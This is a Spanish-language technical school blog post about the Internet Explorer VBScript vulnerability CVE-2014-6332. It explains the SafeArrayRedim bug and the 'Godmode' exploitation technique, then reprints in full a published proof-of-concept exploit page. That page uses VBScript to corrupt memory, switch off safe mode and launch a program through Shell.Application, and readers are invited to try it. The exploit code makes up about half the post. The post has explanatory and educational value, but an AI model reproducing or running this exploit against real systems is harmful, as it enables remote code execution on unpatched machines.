Blog gratis
Reportar
Editar
¡Crea tu blog!
Compartir
¡Sorpréndeme!
Blog de la Escuela de Educación Secundaria Técnica N 8 de Quilmes
Administrador Prof. Claudio Enrique Alonso Alvite
img
24 de Noviembre, 2014    General

PoC permite la ejecución remota de código en todas las versiones de IE (no parcheadas): CVE-2014-6332

Si sois de este mundillo seguro que tenéis presente que hace muy poco Micro$oft publicó un parche de seguridad para solucionar una vulnerabilidad presente en Internet Explorer 3.0, es decir hace 19 años, y que se ha ido heredando por todas las versiones posteriores de este navegador hasta que el 11 de noviembre de 2014 se publicó el boletín MS14-064 que la solucionaba.

Catalogada como CVE-2014-6332 tiene una puntuación de 9,3 sobre 10 en el CVSS (Common Vulnerability Scoring System), permite la ejecución de código remoto sin autorización del usuario y es incluso capaz de evadir el sandbox EPM (Enhanced Protected Mode) en IE11 y las protecciones de EMET.

El bug es causado por el incorrecto manejo del motor de VBScript del navegador al redimensionar arrays. VBScript.dll contiene un método de evaluación en tiempo de ejecución que mediante OleAut32.dll llama a la función SafeArrayRedim() para cambiar el tamaño del array. Sin embargo, si se produce un error, el tamaño no se resetea antes de regresar a la función de llamada, VBScript!CScriptRuntime::Run():



En VBScript, la explotación de este bug podría haberse evitado quitando el "On Error Resume Next" del código cuando la biblioteca OLEAUT32 devuelve un error. Como no es así es posible provocar un desbordamiento.

Además, ésto puede explotarse fácilmente gracias al denominado "Godmode", un flag que permite al navegador ejecutar VBScript sin restricciones como si fuera un shell local por lo que no es necesario preparar un payload y protecciones como DEP, ASLR y CFI no son aplicables.

Pues bien, recientemente el investigador chino Yuange1975 (adivinar cuantos añitos tiene Xd) ha publicado una PoC que permite escribir fácilmente código VBScript para comprometer equipos no parcheados. A continuación véase el código para probarlo, si bien un buen antivirus/malware debería detectarlo:


//*
   allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
   https://twitter.com/yuange75
   http://http://hi.baidu.com/yuange1975
*//
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray
Begin()
function Begin()
  On Error Resume Next
  info=Navigator.UserAgent
  if(instr(info,"Win64")>0)   then
     exit   function
  end if
  if (instr(info,"MSIE")>0)   then
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
     exit   function
           
  end if
  win9x=0
  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()                  
     else
          setnotsafemode()
     end if
  end if
end function
function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function
function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)  
       Create=True
       Exit For
    End If
  Next
end function
sub testaa()
end sub
function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)
     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314
     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310
     mydata=aa(a1)
     redim  Preserve aa(a0)
end function
function setnotsafemode()
    On Error Resume Next
    i=mydata()
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0        
              redim  Preserve aa(a2)          
     aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)
     j=0
              j=readmemo(i+&h120+k)
       
               Exit for
           end if
    next
    ab(2)=1.69759663316747E-313
    runmumaa()
end function
function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
    redim  Preserve aa(a0)
    redim   ab(a0)  
    redim  Preserve aa(a2)
    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10
       
    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16          
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then  
                 If(IsObject(aa(a1)) = False ) Then          
                   type1=VarType(aa(a1))
                 end if            
              end if
           else
             redim  Preserve aa(a0)
             exit  function
           end if
        else
           if(vartype(aa(a1-1))<>0)  Then  
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if            
            end if
        end if
    end if
           
 
    If(type1=&h2f66) Then      
          Over=True    
    End If
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If
    redim  Preserve aa(a0)        
     
end function
function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2)
    ab(0)=0
    aa(a1)=add+4  
    ab(0)=1.69759663316747E-313    
    ReadMemo=lenb(aa(a1))
 
    ab(0)=0  
    redim  Preserve aa(a0)
end function
</script>
</body>
</html>

Fuentes:
- IBM X-Force Researcher Finds Significant Vulnerability in Microsoft Windows
- Detectado el uso “in-the-wild” de la vulnerabilidad en Internet Explorer
- A Killer Combo: Critical Vulnerability and ‘Godmode’ Exploitation on CVE-2014-6332


Palabras claves , ,
publicado por alonsoclaudio a las 23:28 · Sin comentarios  ·  Recomendar
 
Más sobre este tema ·  Participar
Comentarios (0) ·  Enviar comentario
Enviar comentario

Nombre:

E-Mail (no será publicado):

Sitio Web (opcional):

Recordar mis datos.
Escriba el código que visualiza en la imagen Escriba el código [Regenerar]:
Formato de texto permitido: <b>Negrita</b>, <i>Cursiva</i>, <u>Subrayado</u>,
<li>· Lista</li>
CALENDARIO
Ver mes anterior Agosto 2017 Ver mes siguiente
DOLUMAMIJUVISA
12345
6789101112
13141516171819
20212223242526
2728293031
BUSCADOR
Blog   Web
TÓPICOS
» General (2606)
NUBE DE TAGS  [?]
SECCIONES
» Inicio
ENLACES
MÁS LEÍDOS
» Cómo espiar WhatsApp
» Cómo usar Metashield protector for Client y por qué utilizarlo
» Ejecución remota de código arbitrario en OpenSSH
» Ganar dinero con 1.200 Millones de identidades robadas
» Hardware y sus 4 Funcionamientos Basicos y Principales en una Computadora
» #Phishing masivo a #BancoFrances, #PagoMisCuentas y #Movistar (110 afectados en 4 horas)
» Redes de la Deep Web: CJDNS y la Red Hyperboria
» Unidad Central de Procesamiento CPU
» Vulnerabilidad en Youtube permitió borrar cualquier video
» Wassap, la aplicación que permite usar WhatsApp desde la PC
SE COMENTA...
» Cómo espiar WhatsApp
15 Comentarios: lucia, wilson, spider hackers, [...] ...
» SoftPerfect WiFi Guard permite saber quién esta conectado a mi WiFi
1 Comentario: carlos lopez
» Analizando el LiveBox 2.1 de Orange
2 Comentarios: Nadie, brahim
» Antenas WiFi de gran potencia. Enlaces a 1.000 Km.
2 Comentarios: julio enoy, julio enoy
» Cómo liberar software – guía para principiantes :)
1 Comentario: seo plugin
SOBRE MÍ
FOTO

Prof. Claudio Enrique Alonso Alvite



» Ver perfil

AL MARGEN
Escuela de Educacion Secundaria Tecnica N 8 de Quilmes
(Técnicos en Informática Personal y Profesional)
FULLServices Network | Blogger | Privacidad